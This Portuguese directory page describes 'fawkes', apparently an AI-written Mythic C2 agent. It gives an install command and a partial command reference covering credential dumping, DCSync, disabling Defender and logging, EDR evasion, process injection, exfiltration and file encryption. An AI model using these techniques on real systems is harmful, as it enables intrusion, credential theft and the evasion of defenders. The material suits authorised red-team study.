Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/galoryber/fawkes
Ferramentas DefensivasFrameworks de Testes de PenetraçãoEscalada de PrivilégiosFrameworks de ExploraçãoMovimento LateralPós-ExploraçãoSegurança na NuvemComando e ControleDesenvolvimento de PayloadsEscape de Contêiner
GitHubgaloryber/fawkes

fawkes

Fawkes é um agente Mythic C2 em golang escrito exclusivamente por IA.

Ver Repositório
356há 1 mêsRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Agente Mythic C2 Fawkes

Fawkes é um agente Mythic C2 inteiramente codificado por vibe. Começou como um "e se" e se transformou em um objetivo. Meu objetivo é não escrever uma única linha de código para este agente, mas sim produzi-lo exclusivamente através de um prompt.

Originalmente, tentei escrever o agente eu mesmo, mas depois de clonar o contêiner de exemplo, ler a documentação do Mythic, assistir aos vídeos da série de desenvolvimento no YouTube e copiar código de outros agentes como Merlin ou Freyja, decidi que simplesmente não tinha tempo para desenvolver meu próprio agente. Um prompt, porém, tenho tempo para isso.

Fawkes é um agente baseado em Golang com capacidades multiplataforma. Ele suporta Windows (carregamentos EXE, DLL e shellcode), Linux (binários ELF e bibliotecas compartilhadas) e macOS (binários Mach-O para Intel e Apple Silicon). 213 comandos no total: 113 multiplataforma, 82 apenas Windows, 21 apenas Unix, 11 apenas Linux e 6 apenas macOS (alguns comandos têm implementações específicas de plataforma compartilhando um nome visível ao usuário, ex.: screenshot). Suporta saída HTTP e vinculação ponto a ponto (P2P) via TCP para pivô interno.

Instalação

Para instalar o Fawkes, você precisará do Mythic instalado em um computador remoto. Você pode encontrar instruções de instalação para o Mythic na página do projeto Mythic.

A partir do diretório de instalação do Mythic:``` ./mythic-cli install github https://github.com/galoryber/fawkes

root@kitploit:~
## Referência Rápida de ComandosCommand | Syntax | Description
------- | ------ | -----------
acl-edit | `acl-edit -action read -server dc01 -target user` | Ler/modificar DACLs de objetos do Active Directory (adicionar/remover ACEs, conceder DCSync, GenericAll, backup/restore). Multiplataforma (T1222.001, T1098, T1003.006).
adcs | `adcs -action <cas\|templates\|find\|request\|auto-exploit> -server <DC> -username <user@domain> -password <pass> [-ca_name <CA>] [-template <name>] [-alt_name <UPN>]` | Enumerar Serviços de Certificados do AD, encontrar modelos vulneráveis (ESC1-ESC4, ESC6 via DCOM), solicitar certificados via DCOM para exploração ESC1/ESC6, ou auto-explorar (encontrar → analisar → cadeia de requisição). Multiplataforma (T1649).
ads | `ads -action <write\|read\|list\|delete> -file <path> [-stream <name>] [-data <content>] [-hex true]` | **(Apenas Windows)** Gerenciar NTFS Alternate Data Streams — escrever, ler, listar ou excluir fluxos de dados ocultos. Suporta texto e binário codificado em hex. MITRE T1564.004.
amcache | `amcache -action <query\|search\|delete\|clear> [-name <pattern>] [-count <n>]` | Consultar e limpar artefatos forenses de execução. Windows: Shimcache. Linux: recently-used.xbel, miniaturas, Tracker. macOS: itens recentes, KnowledgeC, quarentena (T1070.004).
apc-injection | `apc-injection [-method <apc\|hwbp>] -pid <PID> [-tid <TID>] [-target_api ntdll!NtDelayExecution] [-timeout_ms 30000]` | **(Apenas Windows)** Injeção remota em processos. `-method apc` (padrão) enfileira shellcode via NtQueueApcThread em uma thread alertável (use `ts` para encontrar uma). `-method hwbp` anexa via DebugActiveProcess, define um breakpoint de hardware DR0 em uma API alvo (padrão `ntdll!NtDelayExecution`) e redireciona Rip para o shellcode quando o breakpoint é acionado — sem TID necessário, sem fila APC, sem CreateRemoteThread (T1055.004, T1055).
audio-capture | `audio-capture [-duration 10] [-sample_rate 16000] [-channels 1] [-device default]` | Gravar áudio do microfone e enviar arquivo WAV. Windows (waveIn), Linux (arecord/parecord), macOS (rec/ffmpeg). Multiplataforma (T1123).
auditpol | `auditpol -action <query\|disable\|enable\|stealth> [-category <name\|all>]` | **(Apenas Windows)** Consultar e modificar políticas de auditoria do Windows. Desabilitar o registro de eventos de segurança antes de operações sensíveis. O modo stealth desabilita subcategorias críticas para detecção. Usa a API AuditQuerySystemPolicy (T1562.002).
argue | `argue -command "cmd.exe /c whoami" -spoof "cmd.exe /c echo hello"` | **(Apenas Windows)** Executar um comando com argumentos de processo falsificados. Ignora Sysmon Event ID 1 e telemetria de linha de comando de EDR (T1564.010).
arp | `arp [-ip <subnet>]` ou `arp -action spoof -target <IP> -gateway <IP>` | Exibir tabela ARP com filtragem, ou envenenamento de cache ARP para posicionamento MITM (T1557.002). Spoof: apenas Linux, restaura na limpeza.
asrep-roast | `asrep-roast -server <DC> -username <user@domain> -password <pass> [-account <target>]` | Solicitar tickets AS-REP para contas sem pré-autenticação e extrair hashes no formato hashcat para quebra offline. Auto-enumera via LDAP. Multiplataforma (T1558.004).
av-detect | `av-detect [-deep true]` | Detectar produtos AV/EDR/segurança instalados, varrendo processos em execução contra um banco de dados de 130+ assinaturas. Com `--deep`, também verifica módulos do kernel, unidades systemd e diretórios de configuração para produtos instalados mas não em execução (Linux). Relata produto, fornecedor, tipo e PID. Multiplataforma.
autopatch | `autopatch <dll_name> <function_name> <num_bytes>` | **(Apenas Windows)** Aplicar patch automático em uma função pulando para o retorno mais próximo (instrução C3). Útil para bypasses de AMSI/ETW.
base64 | `base64 -action <encode\|decode\|xor\|hex\|hex-decode\|rot13\|url\|url-decode\|caesar> -input <data> [-key <key>] [-shift <N>] [-file true] [-output <path>]` | Kit de ferramentas de codificação de dados: base64, XOR (com chave string/hex), hex, ROT13, codificação percentual de URL, cifra de César. Todos suportam E/S de arquivo. Multiplataforma (T1132.001, T1140, T1027).
bits | `bits -action <list\|create\|persist\|cancel\|suspend\|resume\|complete> [-name <job>] [-url <URL>] [-path <local>] [-command <exe>]` | **(Apenas Windows)** Gerenciar trabalhos de transferência BITS para persistência e download furtivo de arquivos. Criar, suspender, retomar, concluir trabalhos e definir comandos de notificação para persistência. Trabalhos sobrevivem a reinicializações (T1197).
browser | `browser [-action <passwords\|cookies\|history\|autofill\|bookmarks\|downloads>] [-browser <all\|chrome\|edge\|chromium\|firefox>]` | Coletar dados do navegador de Chromium, Firefox e Safari. Histórico, preenchimento automático, favoritos, downloads multiplataforma. Senhas: Chromium (DPAPI/Keychain/GNOME Keyring), Firefox (descriptografia key4.db NSS), Safari (macOS Keychain). Cookies do Firefox em todas as plataformas. MITRE T1555.003, T1217.
cat | `cat <file>` ou `cat -path <file> -start N -end N -number true` | Exibir conteúdo de arquivo com faixa de linhas opcional, numeração e proteção de tamanho de 5MB.
cd | `cd <directory>` | Alterar o diretório de trabalho atual.
chmod | `chmod -path <file> -mode <permissions> [-recursive true]` | Modificar permissões de arquivo/diretório com notação octal (755, 644) ou simbólica (+x, u+rw, go-w). Suporte recursivo. Multiplataforma (T1222).
chown | `chown -path <file> -owner <user> [-group <group>] [-recursive true]` | **(Apenas Linux/macOS)** Alterar proprietário/grupo de arquivo/diretório por nome de usuário/UID e nome de grupo/GID. Suporte recursivo (T1222).
cert-check | `cert-check -host <hostname> [-port 443] [-timeout 10]` | Inspecionar certificados TLS em hosts remotos — identifica CAs, certificados autoassinados, expiração, SANs, versão TLS, conjuntos de cifras e impressões digitais SHA256. Multiplataforma (T1590.001).
certstore | `certstore -action <list\|find> [-store <MY\|ROOT\|CA\|Trust\|TrustedPeople>] [-filter <substring>]` | **(Apenas Windows)** Enumerar repositórios de certificados do Windows para encontrar certificados de assinatura de código, certificados de autenticação de cliente e chaves privadas. Pesquisa CurrentUser e LocalMachine. MITRE T1552.004, T1649.
clipboard | `clipboard -action <read\|write\|monitor\|dump\|stop> [-data "text"] [-interval 3]` | Ler/escrever área de transferência ou monitorar continuamente alterações com detecção de padrões de credenciais. Multiplataforma (T1115).
cloud-metadata | `cloud-metadata -action <detect\|creds\|storage\|aws-iam\|azure-graph\|gcp-iam\|aws-s3\|azure-blob\|gcp-gcs\|aws-persist\|azure-persist\|aws-ssm\|azure-keyvault\|gcp-secrets\|...> [-provider <auto\|aws\|azure\|gcp\|do>]` | Metadados de nuvem, extração de credenciais, enumeração de IAM, enumeração de armazenamento, persistência e acesso a cofres de segredos. storage/aws-s3/azure-blob/gcp-gcs: enumerar buckets/contêineres com objetos de exemplo. aws-ssm: SSM Parameter Store com descriptografia. azure-keyvault: segredos do Key Vault via identidade gerenciada. gcp-secrets: Secret Manager via conta de serviço. aws-persist/azure-persist: criar chaves de acesso de longa duração/registros de aplicativo. Detecção automática. IMDSv2. Multiplataforma (T1552.005, T1580, T1530, T1098.001).
compress | `compress -action <create\|list\|extract\|stage\|exfil\|stage-exfil\|exfil-https\|exfil-github> -path <path> [-format zip\|tar.gz] [-output <out>] [-pattern *.txt] [-cleanup true]` | Criar, listar, extrair, preparar ou exfiltrar arquivos. Stage criptografa com AES-256-GCM. Exfil transfere para Mythic. exfil-https: enviar para URLs pré-assinadas S3/Azure/GCS com uploads fragmentados, cabeçalhos personalizados, jitter. exfil-github: exfiltrar via GitHub Contents API. Multiplataforma (T1560.001, T1074.001, T1041, T1048, T1567, T1567.001).
coerce | `coerce -server <target> -listener <attacker-ip> [-method petitpotam\|printerbug\|shadowcoerce\|all] -username <user> [-password <pass>] [-hash <NT hash>] [-domain <domain>]` | Coerção de autenticação NTLM via MS-EFSR (PetitPotam), MS-RPRN (PrinterBug), MS-FSRVP (ShadowCoerce). Força o alvo a autenticar no listener do atacante. Suporte pass-the-hash. Multiplataforma (T1187).
config | `config [-action show\|set\|update] [-key sleep\|jitter\|killdate\|working_hours_start\|working_hours_end\|working_days] [-value <val>] [-file <binary>] [-hash <sha256>]` | Visualizar ou modificar configuração de tempo de execução do agente, ou auto-atualizar o binário do agente. `show`/`set`: sleep, jitter, kill date, horário de trabalho. `update`: baixar novo payload do Mythic, verificar, iniciar e sair do agente atual. Multiplataforma (T1105).
container-detect | `container-detect` | Detectar runtime e ambiente de contêiner (Docker, K8s, LXC, Podman, WSL). Verifica vetores de escape como sockets Docker e contas de serviço K8s. Multiplataforma (T1082, T1497.001).
container-escape | `container-escape -action <check\|docker-sock\|cgroup\|nsenter\|mount-host\|k8s-enum\|k8s-secrets\|k8s-rbac\|k8s-nodes\|k8s-etcd\|k8s-deploy\|k8s-exec> [-command '<cmd>'] [-path <ns>\|<ns1,ns2,...>\|*] [-kubeconfig /path/to/config]` | **(Apenas Linux)** Fuga de contêiner + operações K8s — socket Docker, cgroup, nsenter, montagem de dispositivo host. K8s: enumerar pods/serviços, ler segredos, **k8s-rbac**: varredura de ClusterRole/RoleBinding + pontuação de caminho de escalonamento de privilégio (crit/warn/info), **k8s-nodes**: superfície de ataque de nós do cluster (kubelet/OS/kernel/CIDR/taints/roles), **k8s-etcd**: descobrir endpoints de cliente etcd a partir de argumentos de pod do plano de controle + sonda `/version` não autenticada por endpoint (leitura não autenticada = comprometimento total do cluster), implantar/executar pods via API. **Fora do cluster**: `-kubeconfig` aceita arquivos kubeconfig roubados para acesso K8s a partir de hosts não contêiner (autenticação token + certificado cliente) (T1611, T1610, T1613, T1552.007, T1069.003, T1087.004).
cp | `cp <source> <destination>` | Copiar um arquivo da origem para o destino.
cred-check | `cred-check [-action check\|verify-all] -hosts <IPs/CIDRs> -username <DOMAIN\user> -password <pass> [-hash <NTLM>] [-timeout <seconds>]` | Testar credenciais contra SMB, WinRM e LDAP em hosts alvo. `verify-all` testa todas as credenciais do cofre contra hosts descobertos em paralelo. Multiplataforma (T1110.001, T1078).
cred-harvest | `cred-harvest -action <shadow\|cloud\|configs\|history\|windows\|m365-tokens\|browser-live\|all\|dump-all> [-user <username>]` | Coletar credenciais: hashes shadow (Unix), configurações de nuvem (AWS/GCP/Azure/K8s), segredos de aplicativos, varredura de histórico de shell para senhas/tokens/chaves de API vazados, histórico do PowerShell + variáveis de ambiente + RDP (Windows), tokens M365 OAuth/JWT do TokenBroker/Teams/Outlook (Windows), **browser-live**: roubar cookies ativos, localStorage, sessionStorage via Chrome DevTools Protocol (CDP) de Chrome/Edge em execução. **dump-all**: cadeia de subtarefas automatizada — executa hashdump + lsa-secrets + cred-harvest em paralelo (Windows). Multiplataforma (T1552, T1003.008, T1528, T1539).
credential-prompt | `credential-prompt [-action dialog\|device-code\|mfa-phish] [-title "Authentication Required"] [-message "Enter your credentials..."] [-icon caution]` | Exibir diálogo de credenciais nativo, abusar do fluxo de código de dispositivo OAuth ou phishing de código MFA. dialog: AppleScript macOS, CredUI Windows, zenity/kdialog Linux. device-code: fluxo de código de dispositivo Azure AD OAuth para captura de token. mfa-phish: diálogo falso de verificação MFA para capturar códigos TOTP. Multiplataforma (T1056.002, T1621, T1111).
curl | `curl -url <URL> [-method GET\|PUT\|POST] [-file <path>] [-upload raw\|multipart] [-headers '{"K":"V"}'] [-body <data>]` | Requisições HTTP + upload de arquivo para exfiltração (T1567). Enviar para URLs pré-assinadas S3, SAS Azure, endpoints genéricos. Multiplataforma (T1106, T1567.002).
cut | `cut -path <file> -delimiter <char> -fields <1,3\|1-3\|2-> [-chars <1-10>]` | Extrair campos ou faixas de caracteres de linhas de arquivo. Delimitadores personalizados, especificações de faixa. Multiplataforma (T1083).
credman | `credman [-action <list\|dump\|vault>] [-filter <pattern>]` | Enumerar repositórios de credenciais da plataforma. Windows: Credential Manager + Vault (CredEnumerateW, vaultcli.dll). Linux: GNOME Keyring (secret-tool), KDE KWallet, senhas WiFi/VPN do NetworkManager, GNOME Online Accounts. macOS: itens do Keychain (senhas genéricas + internet), senhas WiFi. `list`=metadados, `dump`=com segredos, `vault`=apenas Windows. MITRE T1555.004, T1555.001.
defender | `defender -action <status\|exclusions\|add-exclusion\|remove-exclusion\|threats\|enable\|disable> [-type <path\|process\|extension>] [-value <val>]` | **(Apenas Windows)** Gerenciar Defender — status, exclusões, ameaças, ativar/desativar proteção em tempo real. MITRE T1562.001.
dpapi | `dpapi -action <decrypt\|masterkeys\|chrome-key> [-blob <base64>] [-entropy <base64>]` | **(Apenas Windows)** Descriptografia de blob DPAPI (CryptUnprotectData), enumeração de chaves mestre, extração de chave de criptografia Chrome/Edge. MITRE T1555.003/T1555.005.
email | `email -action <count\|search\|read\|folders> [-folder <name>] [-query <keyword>] [-index <n>]` | **(Apenas Windows)** Acessar caixa de correio do Outlook via COM. Contar mensagens, pesquisar por palavra-chave, ler por índice, listar pastas. MITRE T1114.001.
dcom | `dcom -action <exec\|upload\|exec-staged\|check> -host <target> -command <cmd> [-args <arguments>] [-object mmc20\|shellwindows\|shellbrowser\|wscript\|excel\|outlook]` | **(Apenas Windows)** Executar comandos, enviar arquivos ou preparar e executar em hosts remotos via DCOM. `check` valida pré-requisitos RPC/DCOM. upload: transferir arquivos via certutil/PowerShell staging. exec-staged: enviar e depois executar com limpeza automática. Seis objetos COM. MITRE T1021.003, T1570.
debug-detect | `debug-detect` | Detectar depuradores anexados, ferramentas de análise e instrumentação. Windows: IsDebuggerPresent, NtQueryInformationProcess, PEB, registradores DR. Linux: TracerPid, LD_PRELOAD, mapas de memória (Frida/Valgrind/sanitizers), VM/sandbox, monitoramento eBPF (Falco/Tetragon/Tracee), framework auditd, escopo ptrace. macOS: sysctl P_TRACED, DYLD_INSERT_LIBRARIES, detecção de VM (sysctl), produtos de segurança (EDR/AV), ambiente sandbox/análise. Todos: varredura de processos depuradores (T1497.001).
dcsync | `dcsync [-action sync\|domain-takeover] -server <DC> -username <user> [-password <pass>] [-hash <NT hash>] [-target <account[,account2]>]` | DCSync — replicar credenciais do AD via DRS sem tocar no LSASS. `domain-takeover` executa kerberoast + asrep-roast + dcsync krbtgt/Administrator em paralelo. Multiplataforma (T1003.006).
df | `df [-filesystem <device>] [-mount_point <path>] [-fstype <type>]` | Relatar uso de espaço em disco do sistema de arquivos com filtragem opcional por dispositivo, ponto de montagem ou tipo de sistema de arquivos. Multiplataforma (T1082).
diff | `diff -file1 <path> -file2 <path> [-context <n>]` | Comparar dois arquivos e mostrar diferenças no formato diff unificado. Algoritmo baseado em LCS com linhas de contexto configuráveis. Multiplataforma (T1083).
dns | `dns -action <resolve\|reverse\|srv\|mx\|ns\|txt\|cname\|all\|dc\|zone-transfer\|wildcard\|exfil\|doh> -target <host> [-server <dns_ip>]` | Enumeração DNS — resolver hosts, consultar registros, descobrir DCs, transferências de zona, detecção de wildcard, resolução furtiva via DNS-over-HTTPS, exfiltração DNS. Multiplataforma (T1018, T1071.004, T1048.001).
du | `du -path <file_or_dir> [-max_depth <n>]` | Relatar uso de disco para arquivos e diretórios. Detalhamento de tamanho por subdiretório, ordenado pelo maior. Multiplataforma (T1083).
drivers | `drivers [-filter <name>]` | Enumerar drivers/módulos do kernel carregados. Windows: EnumDeviceDrivers, Linux: /proc/modules, macOS: enumeração kext. Multiplataforma (T1082).
domain-policy | `domain-policy -action <all\|password\|lockout\|fgpp> -server <DC> -username <user@domain> -password <pass>` | Enumeração de política de senha/bloqueio do AD e FGPP via LDAP. Recomendações seguras para spray. Multiplataforma (T1201).
crontab | `crontab -action <list\|add\|remove> [-entry <cron_line>] [-program <path>] [-schedule <schedule>]` | **(Apenas Linux/macOS)** Listar, adicionar ou remover jobs cron para persistência. Suporta entradas cron brutas ou sintaxe programa+agenda.
download | `download <path>` ou `download {"path": "/file", "compress": true}` | Baixar um arquivo ou diretório do alvo. Arquivos >1MB são comprimidos automaticamente com gzip (configurável). Diretórios são zipados automaticamente. Verificação de hash SHA256. Transferência fragmentada, integração com navegador de arquivos.
drives | `drives` | Listar unidades/volumes disponíveis e sistemas de arquivos montados com tipo, rótulo/dispositivo e espaço livre/total.
enum-tokens | `enum-tokens [-action list\|unique] [-user <filter>]` | **(Apenas Windows)** Enumerar tokens de acesso em todos os processos. `list` mostra PID/usuário/integridade/sessão para cada processo. `unique` agrupa por usuário com contagens de processos. Habilita automaticamente SeDebugPrivilege (T1134, T1057).
encrypt | `encrypt -action <encrypt\|decrypt\|encrypt-files\|decrypt-files\|corrupt\|corrupt-files> -path <file_or_glob> [-key <base64key>] [-confirm SIMULATE\|CORRUPT]` | Criptografia/descriptografia AES-256-GCM (T1486) + corrupção direcionada de arquivos (T1565). corrupt: sobrescrever cabeçalhos de arquivo com dados aleatórios. Portões de segurança necessários para operações destrutivas.
env | `env [-action <list\|get\|set\|unset>] [-name <VAR>] [-value <val>] [-filter <pattern>]` | Listar, obter, definir ou remover variáveis de ambiente para o processo agente. Alterações são herdadas por processos filhos. Multiplataforma.
env-scan | `env-scan [-pid <PID>] [-filter <pattern>]` | Escanear variáveis de ambiente de processos em busca de credenciais vazadas, chaves de API e segredos. 35+ padrões de detecção em categorias de nuvem, banco de dados, CI/CD e criptomoedas. Linux + macOS (T1057, T1552.001).
etw | `etw -action <sessions\|rules\|agents\|patch\|restore\|blind-all\|...> [-session_name <name>] [-provider <guid\|shorthand>]` | **(Windows, Linux, macOS)** Manipulação de subsistema de auditoria/telemetria. Windows: parada de sessões/provedores ETW, blind/blind-all/habilitar/patch/restaurar. Linux: regras auditd, journald limpar/rotacionar, config syslog, detecção de agente SIEM. macOS: registro unificado, detecção de agente de segurança. (T1562, T1070.002).
eventlog | `eventlog -action <list\|query\|clear\|info\|enable\|disable> [-channel <name\|unit\|subsystem\|path>] [-event_id <id>] [-filter <xpath\|keyword\|timewindow>] [-count <max>]` | Gerenciar logs de eventos do sistema. Windows: canais wevtapi.dll. Linux: unidades journald e arquivos syslog. macOS: subsistemas/processos de Registro Unificado (os_log). Listar fontes, consultar eventos, limpar/vacuar logs, obter informações. MITRE T1070.001, T1562.002.
execute-memory | `execute-memory -arguments 'arg1 arg2' -timeout 60` | Executar um binário nativo da memória. Linux: memfd_create (sem gravação em disco). macOS: arquivo temporário com codesign ad-hoc. Windows: arquivo temporário com limpeza imediata. Todas as plataformas removem artefatos após a execução. MITRE T1620.
execute-shellcode | `execute-shellcode [-technique mmap\|memfd] [-encoding none\|xor\|aes] [-key hex]` | Executar shellcode no processo atual. Suporta shellcode codificado com XOR/AES-256-CTR com decodificação em tempo de execução (T1027). Windows: VirtualAlloc + CreateThread. Linux: mmap (padrão) ou memfd_create. macOS: MAP_JIT (ARM64) ou mmap. Multiplataforma (T1059.006, T1620).
exit | `exit` | Tarefa para encerrar o agente.
file-attr | `file-attr -path <file> [-attrs "+hidden,-readonly,+immutable"]` | Obter ou definir atributos de arquivo — oculto, somente leitura, sistema (Windows); imutável, append, nodump (Linux); oculto, imutável (macOS). Omita -attrs para visualizar flags atuais. Multiplataforma (T1564.001, T1222).
file-type | `file-type -path <file_or_dir> [-recursive true] [-max_files 100]` | Identificar tipos de arquivo por bytes mágicos (35+ assinaturas). Arquivo único ou varredura de diretório. Detecta executáveis, arquivos, documentos, imagens, bancos de dados, mídia e mais. Multiplataforma (T1083).
find | `find -pattern <glob> [-path <dir>] [-min_size <bytes>] [-max_size <bytes>] [-newer <min>] [-older <min>] [-type f\|d] [-perm suid\|sgid\|writable\|executable\|<octal>] [-owner <user\|uid>]` | Pesquisar arquivos por nome, tamanho, data, permissões ou proprietário. Encontrar binários SUID, arquivos graváveis por todos, arquivos de propriedade de usuários específicos. Multiplataforma (T1083).
find-admin | `find-admin -hosts <targets> -username <user> -password <pass> [-method smb\|winrm\|both] [-hash <NT>] [-action scan\|auto-move] [-lateral_method psexec\|wmi] [-lateral_command <cmd>]` | Percorrer hosts para descobrir onde as credenciais têm acesso de administrador via SMB (compartilhamento C$) e/ou WinRM. **auto-move**: cadeia de subtarefas automatizada — encontrar hosts admin e depois mover lateralmente para cada um via psexec/wmi. Suporta CIDR, faixas de IP, PTH, varredura paralela (T1021.002, T1021.006).
firewall | `firewall -action <list\|add\|delete\|enable\|disable\|status\|pf-add\|pf-delete\|pf-list> [-name <rule>] [-direction <in\|out>] [-protocol <tcp\|udp\|any>] [-port <port>]` | **(Windows, macOS, Linux)** Gerenciar regras de firewall. Windows: API COM. macOS: ALF + regras pf ancoradas. Linux: iptables/nftables (detecção automática). Suporte a âncora PF para filtragem de pacotes macOS. MITRE T1562.004.
getprivs | `getprivs -action list\|enable\|disable\|strip [-privilege <name>]` | **(Windows, macOS, Linux)** Listar privilégios/capacidades. Windows: privilégios de token com habilitar/desabilitar/remover. Linux: capacidades do processo (CapEff/CapPrm) + contexto SELinux/AppArmor. macOS: entitlements, sandbox, grupos (T1134.002).
getsystem | `getsystem [-technique steal\|potato\|check\|sudo\|osascript]` | **(Windows, Linux, macOS)** Escalonamento de privilégio. Windows: SYSTEM via roubo de token ou potato DCOM. Linux: verificar vetores de escalonamento (SUID, sudo, capacidades, docker) ou tentar elevação sudo. macOS: verificar vetores, sudo ou prompt admin osascript (T1134, T1548).
gpp-password | `gpp-password -server <DC> -username <user@domain> -password <pass>` | Pesquisar SYSVOL por arquivos XML GPP com atributos cpassword criptografados e descriptografar usando a chave AES publicada (MS14-025). Multiplataforma via SMB (T1552.006).
gpo | `gpo -action <list\|links\|find\|all> -server <DC> -username <user@domain> -password <pass> [-filter <name>]` | Enumerar Objetos de Política de Grupo via LDAP — listar GPOs, mapear links com imposição, encontrar configurações CSE interessantes. Multiplataforma (T1615).
grep | `grep -pattern <regex> [-path <dir>] [-extensions .txt,.xml] [-ignore_case] [-max_results 100]` | Pesquisar conteúdo de arquivos por padrões regex. Pesquisa recursiva de diretório com filtragem de extensão, linhas de contexto e pulo de arquivos binários. Multiplataforma (T1083, T1552.001).
hash | `hash -path <file_or_dir> [-algorithm md5\|sha1\|sha256\|sha512] [-recursive true] [-pattern *.exe] [-max_files 500]` | Calcular hashes de arquivos (MD5, SHA-1, SHA-256, SHA-512). Arquivos únicos ou diretórios com filtragem de padrão glob e controle de profundidade. Multiplataforma (T1083).
hexdump | `hexdump -path <file> [-offset <bytes>] [-length <bytes>]` | Exibir conteúdo de arquivo no formato hex+ASCII estilo xxd. Controle de deslocamento/comprimento para examinar regiões específicas, máximo 4096 bytes. Multiplataforma (T1005).
handles | `handles -pid <pid> [-type File] [-show_names] [-max_count 500]` | **(Windows, Linux, macOS)** Enumerar handles abertos/descritores de arquivo em um processo. Windows: NtQuerySystemInformation. Linux: /proc/pid/fd. macOS: lsof (T1057, T1082).
hashdump | `hashdump [-action dump\|insitu\|insitu-full\|tickets\|auto-spray] [-targets <hosts>] [-format json]` | **(Windows, Linux, macOS)** Extrair hashes de senha de conta local. Windows: hashes NTLM do registro SAM (requer SYSTEM); **insitu**: enumerar sessões de logon ativas via APIs LSA em processo (requer admin); **insitu-full**: abrir lsass.exe com PROCESS_VM_READ, varrer sigs de lsasrv.dll em busca de LogonSessionList, percorrer a lista encadeada, sobrepor o layout KIWI_MSV1_0_LIST_63 em cada nó para analisar LUID/UserName/Domain/AuthPackage/LogonType/Credentials-pointer, percorrer a cadeia de credenciais por pacote de autenticação em credentials_ptr para capturar cada envelope KIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC, varrer sigs de LsaInitializeProtectedMemory_Internal para recuperar os globais BCrypt de IV / h3DesKey / hAesKey mais os bytes brutos de IV 16 bytes / 3DES 24 bytes / AES 32 bytes, descriptografar AES-256-CFB / 3DES-CBC de cada blob de texto cifrado capturado (selecionado por blob usando `len % 8`), e sobrepor o layout KIWI_MSV1_0_PRIMARY_CREDENTIAL_10_NEW para extrair hashes NT/LM/SHA — emitido no formato `username:rid:lm:nt:::` compatível com o hook do vault de credenciais do ProcessResponse dump-action (Fase 2B + 2C-i + 2C-ii-a + 2C-ii-b + 2C-ii-c, Win10 21H2 — Win11 23H2, requer admin). Linux: hashes /etc/shadow com identificação de tipo de hash (requer root). macOS: hashes PBKDF2 dos Serviços de Diretório a partir de plists de usuário (requer root). **auto-spray**: despejar hashes e depois pulverizá-los automaticamente via cred-check contra hosts alvo. MITRE T1003.002, T1003.008.
history-scrub | `history-scrub [-action list\|clear\|clear-all] [-user <username>]` | Listar ou limpar arquivos de histórico de comandos de shell/aplicativo. Abrange bash, zsh, fish, PowerShell, python, mysql e mais. Multiplataforma (T1070.003).
hollow | `hollow -filename <shellcode> [-target <process>] [-ppid <pid>] [-block_dlls true]` | Oco de processo — criar processo suspenso, escrever shellcode, redirecionar execução. **Windows:** CREATE_SUSPENDED + SetThreadContext, falsificação de PPID, bloqueio de DLL, decoração de PEB (mascaramento de ImagePath/CommandLine/WindowTitle). **Linux (amd64/arm64):** PTRACE_TRACEME + escrita em /proc/mem. **macOS:** ptrace + APIs Mach VM (task_for_pid, mach_vm_allocate, mach_vm_write, mach_vm_protect) — requer root. MITRE T1055.012, T1036.
ide-recon | `ide-recon -action <vscode\|jetbrains\|all> [-user <filter>]` | Enumerar configurações de IDE — extensões VS Code, hosts SSH remotos, projetos recentes, configurações com segredos. Fontes de dados JetBrains, servidores de implantação, projetos recentes. Multiplataforma (T1005, T1083).
ifconfig | `ifconfig` | Listar interfaces de rede com endereços, MAC, MTU e flags. Multiplataforma (Windows/Linux/macOS).
inline-assembly | `inline-assembly` | **(Apenas Windows)** Executar um assembly .NET na memória usando o CLR. Suporta argumentos de linha de comando. Use `start-clr` primeiro para fluxo de patching AMSI.
inline-execute | `inline-execute` | **(Apenas Windows)** Executar um Beacon Object File (BOF/COFF) na memória. Suporta todos os tipos de argumento: strings (z), strings largas (Z), inteiros (i), shorts (s) e binário (b).
reflective-load | `reflective-load -dll_b64 <base64_dll> [-function <export>]` | **(Apenas Windows)** Carregar um PE nativo (DLL) da memória no processo atual. Mapeamento manual de PE com cópia de seções, correções de realocação, resolução de importação e invocação de DllMain. Opcionalmente chamar funções exportadas (T1620).
iptables | `iptables -action <status\|rules\|nat\|add\|delete\|flush> [-rule <args>] [-table <name>]` | **(Apenas Linux)** Enumeração e gerenciamento de firewall Linux via iptables/nftables/ufw. Encaminhamento IP, rastreamento de conexão, listagem e modificação de regras. MITRE T1562.004.
jobkill | `jobkill -id <task-uuid>` | Parar uma tarefa em execução pelo ID da tarefa. Use `jobs` para listar tarefas em execução. Multiplataforma.
jobs | `jobs` | Listar tarefas atualmente em execução com ID da tarefa, nome do comando e duração. Multiplataforma.
jxa | `jxa -code '<script>' [-timeout 60]` ou `jxa -file /path/to/script.js` | **(Apenas macOS)** Executar scripts JavaScript for Automation (JXA) com acesso à ponte ObjC para frameworks Foundation, AppKit, Security. Suporta código inline e entrada de arquivo (T1059.007).
kerberoast | `kerberoast -server <DC> -username <user@domain> -password <pass> [-spn <SPN>]` | Solicitar tickets TGS para contas SPN e extrair hashes no formato hashcat para quebra offline. Auto-enumera via LDAP. Multiplataforma (T1558.003).
klist | `klist -action <list\|purge\|dump\|import> [-server <filter>] [-ticket <base64>] [-path <path>]` | Enumerar, despejar, limpar e importar tickets Kerberos. Importar habilita Pass-the-Ticket: Windows injeta kirbi via LSA, Linux/macOS escreve ccache + define KRB5CCNAME. Multiplataforma (T1558, T1550.003).
keychain | `keychain -action <list\|dump\|find-password\|find-internet\|find-cert> [-service <name>] [-server <host>]` | **(Apenas macOS)** Acessar o Keychain do macOS — listar keychains, despejar metadados, encontrar senhas genéricas/internet, enumerar certificados.
